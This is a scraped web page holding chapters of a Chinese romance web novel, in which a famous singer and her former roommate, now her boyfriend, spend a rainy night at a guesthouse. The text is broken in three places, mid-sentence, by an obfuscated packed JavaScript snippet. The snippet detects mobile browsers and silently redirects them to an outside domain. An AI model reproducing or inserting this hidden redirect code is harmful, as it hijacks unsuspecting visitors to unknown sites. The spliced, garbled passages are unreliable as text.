RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323469|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是不行。 在她年幼、手上没什么财富也没什么能力的时候,主要体现在她一向欣赏的野性难驯的人类,连打乙游和galgame都偏好傲娇款。 不管金毛黑毛还是什么毛,能对她哈气都是十分可爱的。 南吕的问题才不是想要利用她,而是程度还不够,像是野猫伸出了爪子,小小的、小小地挠了她一下。 与其说是攻击,不如说更像是一种笨拙的触碰,带着点虚张声势的试探。指尖还没碰到实处,自己先慌了神。 挠完了就缩回自己的小窝瑟瑟发抖。 而且她太容易被哄好了。Quantum随便几句话,甚至可能只是一个无奈的眼神,就能让她那点刚刚竖起的、微不足道的心防彻底瓦解。 这种段位实在太低了。对乌曼因来说,拿捏南吕简直易如反掌,不费吹灰之力。而她偏偏是那种喜欢挑战高难度关卡的人,越是棘手、越是难以掌控,越能激起她的好胜心和征服欲。 像南吕这样的,平常逗逗,就当是个有趣的生活调剂品,给平淡的日子添点无关痛痒的波澜。 有了老妈子经纪人督促后,乌曼因寻找刺激的本能已经收敛了很多。 这段时间,她没有在电视台直播的时候当面骂不顺眼的前辈骂上热搜、跑到公共海域去冲浪、股东大会的时候当着全体股东的面扫射董事长和他的老婆…… 她也不是受虐狂,真的抱着损人利己的心思来到她身边的,乌曼因非常敏锐,这些统统会被她人道驱逐。 欲擒故纵,和傲娇,当然是有很大区别的啦。 相反。 纯正又傲又娇的人类,往往意识不到自己是傲娇…… 乌曼因悄悄抬眼。 折敛因为不高兴,脸颊上有了不少血色,就电梯这么小的空间,他硬是退到了对角线最远的角落里,不看她。 他平常不玩手机,就双手放在卫衣的口袋里,目光聚精会神地盯着显示屏上挑动的数字,仿佛晶体管比乌曼因吸引人多了。 “小折敛,”乌曼因硬顶着折敛一身不情愿凑过去,“别生气啦,我又没有吃亏,这点红包对我不算什么,就当她帮我找到人的报酬啦。” “哼。” “真的,你看我整天嘻嘻哈哈的,她每天哭丧个脸,难受的是她对不对,”乌曼因不方便搂他脖子,只能赖皮环着折敛清瘦的腰,“折敛你也多笑笑,别学她,生气容易长皱纹的。” 亏你还知道你整天嘻嘻哈哈的。 对着这样的乌曼因,折敛就算有再多的不满,也像是蓄足了力气的一拳,最终却砸进了一团蓬松的棉花里。 棉花甚至还无辜地蹭了蹭他的拳头。 她太懂得如何四两拨千斤了。 有时是眨着眼睛,摆出一副“我错了,下次还敢”的模样;有时是干脆利落地转移话题引开他的注意力;更多的时候,她只是像平常那样笑着看他,晃得他一时失神,就忘了自己原本要追究什么。 所有精心构筑的防线就这样轻易消散了。 “……因为她帮你找到了人,所以你才不怪她吗?”折敛闷声问。 “和这个没关系,我俩不是一路人,我说了无数次我不怪她,她依然会无数次地问我,”乌曼因指了指胸口,“我给不了她真正的安全感,她的心是一块破洞,永远也填不满。只有很长久的陪伴才能得到她的信任,我可没有那么好的耐心。” 折敛默默地低头看她。 正对上她理直气壮的眼神。 乌曼因没有意识到,折敛也是这样的人。 你喜欢我吗? 折敛会问无数次这样的问题,哪怕他根本不信乌曼因的回答。 残缺的家庭里,多得是像折敛和南吕这样的人,而非乌曼因那样,有着灿烂而热烈的怀抱。 乌曼因靠着近乎本能的、对美色和甜头的敏锐嗅觉,用直白又热烈的行动抚平了折敛的情绪。 她把他拖进温柔乡里,用亲吻、用拥抱、用所有的热情裹住他,让他看起来总是温和的、顺从的,甚至沉迷的。 折敛轻轻抚上乌曼因的脸:“所以你才对她很宽容?” 像是在寻找什么通用的答案。 乌曼因挥挥手,很大气地说:“狗咬人你难不成还咬回去?她就是嘴犟,人又特别怂,你戳到她最痛脚的地方了,她就会狠狠咬你一口,生存的本能而已。” 虽然这么说着,但折敛眼尖,在他对着房卡找门的时候,看到乌曼因鬼鬼祟祟地打开淘宝下单了一款照片定制人形泄愤沙袋。 折敛:“……” 虽然嘴上说不在乎,但是对南吕说她是北京来的大小姐果然还是很生气吧。 大概人性总是这样的。 乌曼因不在意的时候,折敛仿佛自己的领域被别人侵占了,像只警惕的毒蛇,谁进来就咬谁;等乌曼因开始斤斤计较,不像是对南吕有格外优待的样子,他又放下了滴滴作响的警报。 一只气呼呼的乌曼因真有意思。 腮帮子微微鼓起来,眼睛瞪得圆圆的,像只被惹恼了的小兽,张牙舞爪,但又没什么真正的杀伤力,反而透着一股鲜活的生动。让他忍不住想多看两眼……还想轻轻戳一下。 如果,这份怒气是独独为他而生的,那就更好了。 这么想着,折敛不好意思地低声咳嗽两声,忘记了他自己保持的安全距离。 42. going 折敛有些过头的警惕看似不可理喻。 其实很正常。 他一直以来都这副鸟样。 要是庞清在这就可以作证,这小子敌视乌曼因身边出现的所有生物,男的女的都一样,一视同仁,没有区别对待过。 青葱岁月里,庞清不是没有对乌曼因产生过类似于白月光的遐想。除开纯正高富帅到让人提不起竞争心思的姬无射外,庞清怎么说也是个县城潮流小伙子,半长的迷人卷发,吸引了大把女友和候选女友前赴后继。 乌曼因站在酒吧中央唱歌,密而卷的头发扎得高高的,汗湿的额角发着光,谁看了不迷糊? 起初庞清十分自信。 ……然后,就没有然后了。 自从乌曼因把李藏之这小子拉出杂物堆,硬塞进乐队当指导老师之后,事情就往一发不可收拾的方向狂奔而去。 李藏之总是坐在台下,手里拿着一本书,等他们自信地演奏完后,再抬头用看智障的眼神从头骂到尾。 他的目光落到庞清身上就像在看一坨垃圾,吐出来的话更是延迟凌迟:“为什么你控制不好节拍器,你是看不懂时值吗?打这么烂的鼓拖累乌曼因不如以死谢罪吧。” 可怕的是,他骂得全是对的。 庞清那段时间天天做噩梦,晚上梦里都在砰砰打鼓,打不好就有个鬼阴恻恻地在背后要把他的皮做成鼓皮。 看乌曼因的眼神也从自信变成了网抑云深夜选手: “我这么烂泥一般的鼓手怎么配得上如此高端的你。” 乌曼因:“……” 乌曼因自始至终都没察觉到庞清那点少男心思。 不是她迟钝,实在是因为她当时也自身难保。没人能在李藏之的毒舌下幸存,她是首当其冲的那个。 乌曼因对南吕的“李藏之喜欢乌曼因论”嗤之以鼻。 怎么可以用喜欢这么庸俗的感情玷污他们沉重的师生情。 半夜要做噩梦了。 李藏之要是喜欢她,她当场把那柄莲花蜡烛吃掉。 …… 曾经的魔鬼老师穿上清爽的长袖卫衣,收敛了自己的獠牙和利爪,摇身一变,成了个清清白白、漂亮温顺的男大模样。 小折敛能有什么坏心思呢? 什么折磨、什么毒舌,他才不知道呢。 再说,他现在也没有那个能力用自己的耳朵去替乌曼因调教她的乐队了。 那双曾经能精准捕捉每一个错拍、每一个走音的耳朵,如今连听见她的声音都费劲。 关于音乐的一切,都已经过去了。 …… “啪嗒”一声轻响,乌曼因按下了墙上的开关。 昏黄的光线落在木质的床沿和笼形台灯上,窗外的风扑刮着窗户阵阵作响。 老板给他们开了个楼顶的小房间,隔音并不好,听得到豆大雨珠密集地砸在屋檐和窗户上。 这倒真是坏心办了好事。 乌曼因非但不觉得烦躁,反而惬意地眯了眯眼。 雨声、风声交织成白噪音。她很喜欢这些声音。 至于折敛?他正安静地整理着微湿的衣角,侧脸在暖光下显得格外柔和。 他又听不清,吵不着他。 折敛把乌曼因的行李整个带过来了,也包括自己的一些衣物,不知道他从哪里变出来的。 这会儿安顿好了,他才从自己背包里掏出两桶泡面,摆在桌上。 乌曼因眼睛一下就亮了,盯着那两桶泡面挪不开眼。 泡面这东西。就算身价再高再富有,照样是刻进DNA的工业垃圾食品瑰宝。 她确实已经很久没吃过了。 上回偷吃被助理逮个正着,差点被念到耳朵起茧。 折敛没让她动手,自顾自烧了水。热水壶咕嘟咕嘟响,他靠在桌边等她蹭过来,才撕开调料包,一一挤进去。 “你经常吃泡面吗?”乌曼因凑近了问。 “不常,”他垂着眼,“食堂再难吃也比这个强。” 水开了,他冲进去,盖上纸盖,压上一本民宿提供的杂志。 等面泡开的几分钟里,乌曼因就趴在桌边盯着看,像只等投喂的猫。 折敛看她那副期待的模样,欲言又止。 面好了,她迫不及待地揭开盖,热气扑了她一脸。她也不怕烫,叉起一筷子就要往嘴里送。 被折敛眼疾手快地拦住。 以前她也不是这副饿死鬼投胎的模样啊? 折敛捧着泡面桶不解:“他们连泡面都不给你吃吗?” 乌曼因:“因为泡面被营养师绝对管控了啊……我明明是歌手为什么还要做身材管理,说上镜不好看,知不知道吨位大发声容易啊?” 他沉默了几秒。 “……不要传播谣言,”折敛板起脸,“发声靠的是骨骼结构和技巧,脂肪不会有效扩大或改善共鸣腔,脖子上肉多了反而压喉咙,肚子胖了还阻碍横膈膜下沉。” 一说起专业领域,折敛的脸色变得六亲不认,有种熟悉的压迫感。 虽然他很快意识到自己不该那么强硬,仿若无事地收住了话头。 折敛别开脸,再转回来时,语气已经缓了下去,甚至有点懊恼:“是我疏忽,不该带这种高热量食品,以后不会了。” 乌曼因:“??” 仿佛见到了第二个老妈子真音姐。 不可爱了。 “吃两口才不会变胖呢,”乌曼因哼哼唧唧地抱回自己的泡面,“不过你这不吃、那不吃的,居然吃泡面吗?” 折敛搅搅,用叉子卷起面条:“只是维持生命体征的话吃什么都可以。” 早上起床没有看到乌曼因,折敛慌张过后,根本没有进食欲望,随手买了面包草草了事。 听他控诉早上的经历,乌曼因抱着泡面桶忏悔:“嘤嘤嘤,我有罪,中午吃好吃的都没有带上你……” 重点是吃的吗?重点是没带上他! “没,这是我自作自受,”折敛撇撇嘴,“我要是想吃好吃的随时可以下楼去酒店的自助餐厅。只是当时没有心情而已,因为某个人连招呼都不打一声就跑了。” 乌曼因被哄得拍胸脯保证这两天绝不离开折敛,不然在她的想象里,折敛又会在她看不见的地方伤心的啃糠咽菜了。 折敛得到了保证,矜持地露出了小小笑容,在他苍白的脸上就像融化冰雪似的。 …… 吃完后,折敛处理了垃圾,回来后乌曼因已经洗完澡换上睡裙摊在床上了。 衣服多多少少淋了雨,不太舒服,折敛也拿上自己的衣服,进了淋浴间。 房间很小,淋浴间内还带着未散去的热气。 磨砂的浴室玻璃让里面的人影若隐若现。这里的隔音并不像五星级的长租宾馆那么好,淅淅沥沥的水声,水汽浸透了磨砂,慷慨地映出折敛冲淋的影子。 她能清晰地看见折敛伸出手挤洗发露,把头放到花洒下面…… 那是折敛的腰吗,那是夺命的弯刀。 非礼勿视非礼勿视。 乌曼因不敢再偷瞄,强迫把自己的注意力挪到手机上。 刷会儿抖音吧……抖音给她推了什么广告? TT? 什么鬼,深夜成人版抖音? 打开B站…… 首页第一条,女生如何获得快乐? 卖小玩具的? 乌曼因怀疑自己被资本做局了。 今天不宜刷任何APP。 等她无聊地举着手机,欣赏着锁屏上的折敛照片,一边嘿嘿照片上的美人现在在她旁边洗澡,一边才想起某些件被她抛到脑后的事情……南吕好像警告过她,说李藏之可能在监视她的手机。 乌曼因:“……” 当时脑容量都被拿去吵架了,根本没意识到这事情的严重程度。 乌曼因从床上弹跳起步:“啊啊啊啊啊李藏之你死了!!不要看我的手机啊啊啊啊!!!” 她的私人小电影,珍藏邪恶漫画,反复回味的np小簧文…… 浴室里忽然发出了一声闷响,折敛像是磕碰到了什么,疼得蹲在了地上。 “你没事吧?”乌曼因吓了一跳。 “没事,嘶,”折敛的声音似乎有些幽怨,“你吓到我了。” “对不起……没伤到哪里吧?”可能看了太多乱七八糟的东西,乌曼因眼神游移,不敢朝淋浴间的方向瞄一眼,今天的脑子总往下三路跑。 悉悉索索的声音,是折敛穿好了衣服。 他顶着湿淋淋的头发推开门,慢吞吞地走到乌曼因跟前,站定:“李藏之又怎么了,这么激动?” 乌曼因抬起头,入眼的是…… 哆来A梦长袖睡衣。 能不能立法禁止成年人穿幼稚睡衣。 乌曼因的脑子分成了两半,一半想“被人发现涩涩怎么办”,另一半想“成年人就要涩涩,不涩涩的下场就是变成折敛这样的小学鸡”。 她恍惚着问:“你有没有听到南吕的话?她说李藏之监视了我的手机,你觉得这可能吗?” “……她瞎说的。”折敛很干脆地说。 “你要不要检查一下我的手机再说……李藏之是一个很厉害很厉害的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323470|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客,人也没什么法律意识,我真担心他干得出来这种事。”乌曼因不是很信折敛的判断。 折敛提出证据:“你的手机是去年出的新款,按你们的说法有很多年没见面了,他怎么可能监视你的手机?做不到的。” “会不会是网络入侵什么的……” “没有那么神奇,他没法接触到你的手机的话,那就要你去点病毒链接才行,你想想,你点过吗?” 折敛本来是想安慰乌曼因的,但是乌曼因可疑地沉默了。 乌曼因用被子套住头,这回轮到她缩成一只绝望的乌龟:“别问了别问了……” 折敛:“……” 好心虚哦。 “如果实在不放心的话,可以重新买一部手机,”折敛坐在床边,向她轻声建议,“这样的话,即使网络技术再强也没有办法了吧。” 像是觉得这个方法不错,乌曼因把头伸出来,点头如捣蒜:“好啊好啊,我们明天就去买!” 仔细想想又有点不放心,乌曼因用爪子抓住折敛的手,期待地补了一句,“小折敛,你到时候能帮我安装个防火墙之类的东西吗?” 折敛顿了一下,微笑:“当然可以。” 乌曼因松了口气,感觉安全多了。 绷紧的肩线悄然松弛下来,一种沉甸甸的安全感将她温柔包裹。乌曼因后知后觉意识到自己的脑袋靠在了一个多么不得了的地方。 软软的,带着极佳的弹性,能隐约感受到其下匀称而结实的肌肉线条。 抬头,能清楚地数折敛很长的睫毛,在很近的地方,于眼下投出一小片扇形的阴影,随着呼吸轻微颤动,仿佛蝶翼。 再往下,是哆来A梦那张蓝白色大脸。 折敛垂下眼睛,能感受到腿上她散开的发丝细腻,铺陈开一片微凉的痒意。 还没等他试图手指插入发丝里,乌曼因的脑袋就滚开了。 嗯,滚开。 因为睡衣太搞笑直接让乌曼因笑得从床的这头滚到那头,根本看不出刚才还在纠结手机监视这种严重问题。 破罐子破摔的乌曼因把手机往行李箱里一塞,又滚回来,重新躺上了折敛的大腿,仰头评价道:“你穿这一身,我都不敢对你做什么了。” 折敛疑惑地问:“是不能一起睡吗?” “是,呃,不是,”乌曼因有点词穷,不知道怎么解释她的“做什么”绝不只是目前单纯的“一起睡”,说出来了感觉自己在调戏小朋友。 但就算看着可怜,一个25岁的成年男人“脆弱的心灵”有什么好照顾的,心一横说,“反正你穿这个不许上床。” “……” 为什么啊。 折敛不懂,委屈地给她展示自己拿来的衣服,除了睡衣就是长袖的卫衣。 “……什么审美,你干脆别穿算了。” 折敛想了想,就真的开始解扣子了。 乌曼因来不及阻止,眼睁睁自认识以来一直十分保守、连手腕都不轻易露出的男人脱下了他的长袖。 脑子里又塞满了折敛刚才在车上的豪言壮语。 这、这就是折敛想要给她的东西吗?随着衣衫的半褪,露出了其下白皙的肌肤。 他似乎下定了某种决心,连睡裤都脱去,展露出一双修长笔直的腿。 相比起他的身高来说,折敛其实是有点偏瘦的,但是比例很好,腰线窄而流畅,腿长得几乎有些霸道了。 等乌曼因捂着脸,又忍不住想要从指缝里偷偷看更多的时候。 折敛偏偏又抓过一旁的睡衣,匆忙披在身上,就那样坐在床边。衣襟松散地合拢,遮盖了他大部分的肌肤和大腿,只留下若隐若现的锁骨线条。 他脸很红,一直红到了耳根,微微垂着头,手上攥住被子,皮下每一根毛细血管都在羞赧地颤栗。 很没经验的那种勾引。 没有技巧,全是数值。 凭借天生的骨相、干净气质和亳不设防的生涩堆砌出来的诱惑。 乌曼因拒绝的话卡在嘴边。 呃……好东西也不是非得往外推…… 哆来A梦睡衣又怎么了!关了灯和她的维密法式睡裙有什么区别! 可关了灯又看不清折敛那张清冷中带着薄红的美人脸了。 乌曼因不知道,她自己鲜红如血的脸色也从指缝中露了出来。 在场不止有一只小学鸡。 居然还是折敛更主动些,他现在认定自己在进行必要的、情侣的下一步交流。 于是凑上来,轻轻地、轻轻地亲了一下乌曼因的手背。 “我现在可以上床吗?” 43. 慷慨 折敛的眼睛映出乌曼因的倒影。 澄澈的眼睛不知道什么时候笼上了一层水色的薄雾。 像宾馆的窗户似的,一面挡着狂风骤雨,一面凝结起细小的水滴。 纯黑色的,从头到尾只有她一个人。 乌曼因也被他蛊惑,什么李藏之、什么南吕,在男朋友男色的魅力下都得暂时靠边站。 怎么会有这么合她心意的男人。 她承认是因为被折敛勾引到了,脑子里被他流畅的身形占满,完全思考不了其他事情。 为了营造氛围,酒店把灯光设置得很暗很暖,朦朦胧胧的。 总感觉这家民宿真正的老板并不是底下那个抠门的中年老板,他不像有这么好审美的人……但这不是重点…… 乌曼因把折敛压到床上。 折敛顺着她的力道窝进床里,凤眼半抬,像是知道她要做什么,十分顺从。 只是红色透出他苍白的肌肤。 失去了听力,他要再获得乌曼因的青睐,当然得付出一些其他的…… 也做好了准备。 折敛学着从生理课本上看到的知识,伸出手环住乌曼因的腰,正要把她扒拉下来,但被乌曼因摁住了。 乌曼因摸出了一点和折敛的相处经验。 此人性格非常羞涩,是那种骨子里的天生i人,但因为太喜欢她,所以总是先下意识躲一下,再和蜗牛一样慢吞吞、试探性地朝她靠过来,探出柔软的触角。 折敛一旦认定“既然是情侣,那就应该这样做”,在这种理论指导下,他反而会放得很开,就像打开了某个开关。 但问题在于,这种“情侣行为”的最终解释权,完全被他牢牢攥在自己手里。他觉得该进行到哪一步,就毫不犹豫地推进;他觉得某件事还不算“情侣义务”,就继续保持他那种害羞躲闪的模样,缩回坚硬的外壳里。 刻板得像游戏里好感度触发的NPC。 这可不行。 乌曼因长而密的头发如瀑布般垂下,几乎将折敛整张脸都笼罩在那片柔软馥郁的阴影里。 两人的呼吸温软地交错,她的发丝轻轻擦过他的颈侧,带来一片细密而痒的触感。 随后,那气息变得更湿、更热,无形的丝线缠绕着落在皮肤上。 折敛有些受不住,不自在地偏头,他想用手臂挡住眼睛,但还是被乌曼因轻而易举地拉开。 露出毫不设防的自己。 虽然已经做好了心理准备,但是事到临头,他更习惯用另一种目光注视的乌曼因……他的姐姐,他的支柱,为数不多把他当人的人。 却在用一种陌生的眼神看着他,带着欣赏、玩笑,几乎不可察觉的一丝恶劣。 ……忽然就有些委屈。 乌曼因目光揶揄地看着折敛的眼睛。 就知道折敛临到头了肯定怂,但他越退缩、手足无措,乌曼因反而越自在。 她哪里知道折敛的小九九,难得找到另一个旗鼓相当的菜狗,乌曼因肯定不能放过。 28岁的女人,说没有想过这事,那肯定是假的。 深夜幻想终于变成了现实,男菩萨变成了她的男朋友。 真实和想象根本不同,人类的肌肤相触,体温从一个人传导到另一个人,带着微弱的电流,又像温暖的潮水,慢慢漫过彼此。 在无声中相互试探,相互拉扯,仿佛一场无言的角力,却又心照不宣地一起向下沉沦。 这就是欲望吗? “肌肉真不错啊,”乌曼因的手一点也不老实,她仗着自己在上方的优势,手指坏心眼地在他身上游走,这里摸摸那里摸摸,带着强烈的探索欲。 哇,好弹。哇,好白。 于是忍不住夸他,觉得自己开到了惊喜盲盒,明明折敛不像喜欢运动的人,身材却意外地匀称结实。 折敛声音断断续续地解释:“……会去游泳。” “?”乌曼因挑眉,等待下文。 “主要是在工作的时候游,游泳……是我寻找思路的方式。” “工作需要找思路吗?”她追问,指尖特意从折敛绷紧的腹肌上划过,感受着那层薄薄肌肤下蕴藏的、因紧张而微微颤动的力量。 “需要,很多问题都好难……”折敛的呼吸微微一乱,“想不通了就把自己浸在水里,会清醒很多。” 虽然喜欢游泳的折敛很涩啦,想象他肌肉划开蔚蓝水波的感觉更是心跳加速,涩鬼狂喜,恨不得就在现场。 但此刻,乌曼因脑海里忽然闪过的,居然另一个毫不相干的念头。 她又想起李藏之了,她可从来没见过有什么难题能真正难倒李藏之。 乌曼因对科技两个字的了解,全部来自于李藏之。 她学过很多年数学,不知道有什么用;学过很多年科学,不知道有什么用。 学校组织参观科技馆,好无聊,不就是展台在发光嘛。 科学的世界如此枯燥而遥远,直到乌曼因认识了李藏之。 看他摆弄电缆和几根铜管,搭配上不知道从哪里拆下来的车载电台,就能听到来自她所不知道、另一个短波通讯世界的声音。 原来有那么一群人,哪怕在末日后的废土里,感觉都能活得比其他人高端一点。 在网络还不发达的时代,就这样满足了乌曼因对科技宅的所有幻想。 而折敛就平易近人多了,他躺在她身下,嘀嘀咕咕抱怨工作太难。 他大概有点紧张,嘴里偶尔蹦出点乌曼因听不懂的词汇,想从熟悉的工作里找回一点安全感。 从那些艰涩的术语里,乌曼因只听出一个为了毕业绞尽脑汁的绝望博士生。 她怜爱地摸摸折敛柔软的头发,心想,算了,折敛有美貌就够了,李藏之那种天才毕竟可遇不可求。 “难怪,游泳又出肌肉又容易白……” 乌曼因对折敛的第一印象是白得像水鬼,原来真的是个游泳爱好者。 她又发散想到了颜值独树一帜的国家游泳队,忍不住手贱抓了抓折敛辟谷。 折敛的抱怨戛然而止:“?” 乌曼因讪讪:“听说游泳容易没辟谷。” 看来传言是真的。 手感很好,肉质紧实,但是弧度……真的不太大。 但好消息是,有失必有得。长期游泳锻炼出的惊人肺活量,让他的胸肌看起来格外厚实挺阔。 她一直觉得折敛太瘦,没想到衣服褪去后,展露了一副完美的成年男子体态,胸大腰细。 老是穿着宽松的卫衣她什么都看不到。 暴殄天物。 乌曼因的手更不老实了,温热的掌心顺着他腰侧的线条缓缓向上探去,勘探令一片未知的领地。 她干脆将自己发烫的脸颊也埋进了温热而结实的胸膛里,贪婪地呼吸着独属于折敛的、混合着清爽皂香与一丝微妙紧张的气息。 “你游蛙泳还是自由泳?”她的声音从他胸前传来,闷闷的。 “……潜泳。” 折敛工作没头绪的时候,就喜欢一声不响地跳到深水区,然后整个人沉下去,进行长距离的潜泳。他贪恋那种被深蓝与空寂包裹的感觉,水温刺骨的冰冷能让他沸腾焦虑的大脑瞬间冷静下来。 被安全员警告过很多次,没用,折敛根本不听。 为此他们单位游泳池安全员的编制不得不增加了一个。 “难吗?下次教我吧。”乌曼因跃跃欲试。 “潜泳不安全……我教你其他的吧……你不会水?” 意识到这点折敛还有些惊讶。 对于非学习的这种活蹦乱跳领域,他一向默认乌曼因擅长。 “不会啊,基本没有什么机会去泳池。”乌曼因遗憾地说。 泳池、海滩上穿着清凉的帅哥美女在她的世界里也是绝迹的,演唱会、快闪、商业活动、livehouse、电影……这些都不是享乐,是工作。 真是轻松下来后才意识到,错过了好多好多世界上美好的享受啊。 “说好了记得教我啊。”乌曼因八爪鱼一样抱住折敛,大有不答应就要把他勒死的架势。 折敛顺着她的力道将人搂住,下巴轻抵在她发顶,想了想,才小声地、认真地回答:“在北京的话,偶尔会在中关村青年公寓那里游,泳道只有25米,周末人多,我也不怎么去,不适合你。” 那里是国科大住宿区,就算学生们不怎么追星,乌曼因也不适合去那里。 教游泳还要很多天,要是被很多人知道乌曼因定时刷新在大学游泳馆,想想就麻烦。 毕竟,她是真的很有名气。 乌曼因在他耳边嘀咕:“我在有一个运动俱乐部的会员,俱乐部场地里有五十米泳池,没什么人的,会员一般不用游泳池。” 本来乌曼因对这种写作“私密”读作“名利场”、日常不是赛马就是高尔夫的地方丝毫不感冒。 她既不会骑马,也不会挥杆,更不打算为了谁去学。 但正所谓东西怎么样,要看你从什么角度看待,乌曼因忽然觉得这会员好像也不是那么一无是处了。 那些冲着人脉而来的会员们极少光顾游泳池——谁家好人谈生意在泳道里划着水谈,那属实浅水区小酌,深水区畅饮了——所以她可以独占一整个大泳池。 想起那高昂得令人肉痛的会费,乌曼因立刻下定决心,一定要带折敛去薅羊毛。 心里飞快地换算按水立方50块钱一个人的的价格,她和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323471|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折敛两人得去多少次才能游回会费的本…… 悲伤地发现两人全年无休也回不了本。 sad。 折敛在听到“五十米泳池”和“没什么人”这两个关键词时,眼睛倏地一下亮了起来。 大概是看在她那个游泳会员的份上,他整个人忽然就热情了许多,连搂着她的手臂都似乎更用力了点。 好现实的男人。 果然没有物质的爱情就是一盘散沙。还好她有的是钱。 诚如折敛自己所说,折敛在这方面并不太懂。 他笨拙地学着乌曼因刚才对他做的那样,带着一种新奇的探索欲,那双骨节分明的手,生涩地搂住了她的腰。 他试图讨好她,乌曼因也知道他正在试图讨好她,但这手法实在不太像调情,更像掂猪肉。 直白地摸索,到处蜻蜓点水般点火。 乌曼因被他这毫无技巧可言的触碰弄得一个激灵,本能就想躲,身体微微后仰。 这才知道折敛随她摸、不避不躲的含金量。 居然有人浑身上下没有一块痒痒肉,这人上学的时候一定不受捣蛋鬼们的欢迎。 上学时候的折敛究竟是什么样的呢?……他现在也还没有真正毕业,大概和现在也不会差太多吧。 温顺又美丽。 很少有人用美丽这个词来形容乌曼因, 她当然很漂亮,是那种极具侵略性、张扬耀眼的漂亮,像正午最炽烈的阳光,让人无法直视,又忍不住被吸引。 只是美丽这个词有些苍白了,不足以形容她的鲜活。 于是粉丝一般会说—— “曼姐,这样是不是太土匪了?所以我们今天骂谁?” 是的,哪怕在粉丝眼里,给乌曼因的形容词都是“土匪”。 人们一般不用美丽来形容土匪。 而折敛的美丽静态的,像那种安静地坐在窗边、睫毛低垂、肤色白得透明,一尊精致却缺乏生气的瓷娃娃。 好奇怪,折敛的气质那么冷的、那么缺乏人性。 所以他的爱从哪里来? 乖乖仔喜欢她这款土匪类型的? 口味有点独特啊。 乌曼因轻轻地将折敛的助听器摘了下来。 折敛仰头,疑惑地看着她。世界的声音骤然被抽离,陷入一片静谧,但并没有以往的不安。 被剥夺了感官,视觉越发鲜明。折敛能看到她微微汗湿的额发,起伏的胸口,以及眼角鲜红的小痣。 他记性那么好,以前怎么没有发现乌曼因有泪痣呢? 明明手上有被乌曼因拉去不情不愿拍的大头贴合照。 原来乌曼因贴在床头的,被他拿走了。 是因为……以前没有想过,他会和乌曼因如此亲密吗? 不,以前也不是没有。 李藏之很瘦,根本不占什么位置,于是乌曼因想聊天的时候,就不让他好好上床。两人常常胡乱地扒拉在下铺床上,李藏之可怜巴巴地只缩在一个小小的角落。 乌曼因的突发奇想聊天茶话会一般都是睡前,而两个夜猫子的睡觉时间是白天。 于是白天太阳照屁股的时候,根本没有什么暧昧可言,两只困顿不堪小动物相互蹭蹭取暖,与其说李藏之是自愿的,倒不如说他被乌曼因挟持了。 那时候,他哪有心情关心宿舍长的相貌。 只求她快点说完,再不睡他要猝死了。 这个女人不是唱了一晚上歌吗?怎么精力还这么好? 人甚至不能共情过去的自己。 折敛忘了自己以前有多嫌弃乌曼因的靠近,他太贪恋此刻手掌下传来的温度,乌曼因的肩胛骨像蝴蝶翅膀般单薄,隔着棉质布料能感受到肌肤的温热和起伏。 明星永远比镜头下的他们要瘦。 原来乌曼因那么美,像是一朵艳丽的罂粟,带着危险却又令人无法移开视线的艳丽。 难怪酒吧里的男人目光都落在她的身上,她从不回应,打着哈欠回到杂物堆睡觉。 那个如姐姐般、有时又强势得令人无措的乌曼因,此刻毫无保留地向他展露了她作为一个女人的、全然的性别魅力。 他的大脑在合成许多许多小分子,带着他体验一种陌生而肤浅的快乐 除此之外,第一个反应。 是嫉妒。 他明明是先来者,但在他之前……在他不通情爱,只知道躲避之前……有人占据了他的位置。 一种从未有过的、尖锐而陌生的嫉妒,如同藤蔓般疯狂地啃噬着他的心脏。 他知道乌曼因有很多前男友,那些名字,那些面孔,此刻都化作了阴影里的刺。 ……真的,应该让他们全部都消失。 44. 纵容 折敛又不是什么好人,在他三进三出看守所的辉煌岁月里,乌曼因都还只是海淀区某个中学里千万规规矩矩背着书包上学放学的乖仔的其中一个。 那时候,他想要针对的人,不是在里面蹲着,就是在下面埋着。 正如真正牛逼的人一般都很低调,折敛没兴趣张扬自己的傻逼往事,虽然他知道自己的名声在黄钟县早就被传得面目全非、已经彻底妖魔化了。 证据就是他其实没特意去封过谁的口,但没一个人敢在乌曼因面前说些怪话。 估计是怕他报复吧。 在黄钟县人们的眼里,乌曼因大概是个误入魔窟的少女,他们只敢旁敲侧击、语焉不详地提醒她“住在那种地方一定很辛苦吧”、“小心点酒吧坏人很多的”…… 乌曼因听了,嘻嘻哈哈地说还好还好,酒吧挺好的,对了我室友是个很听话的小鬼,超级聪明,要不要带出来给你们看看。 救不了,告辞。 姑娘人挺漂亮,就是好像脑子不太好。 这些光听他名声就能被吓破胆的胆小鬼,怂兮兮的,最多在舞台后悄悄把自己的电话纸条夹带着鸡尾酒一起送给乌曼因。 以乌曼因那大大咧咧的性格,估计还觉得销售把生意做到酒吧里来了。 很怜悯地把电话纸条和名片都带回杂物间,然后忘记。最后被折敛在卖书的时候全部当垃圾丢掉。 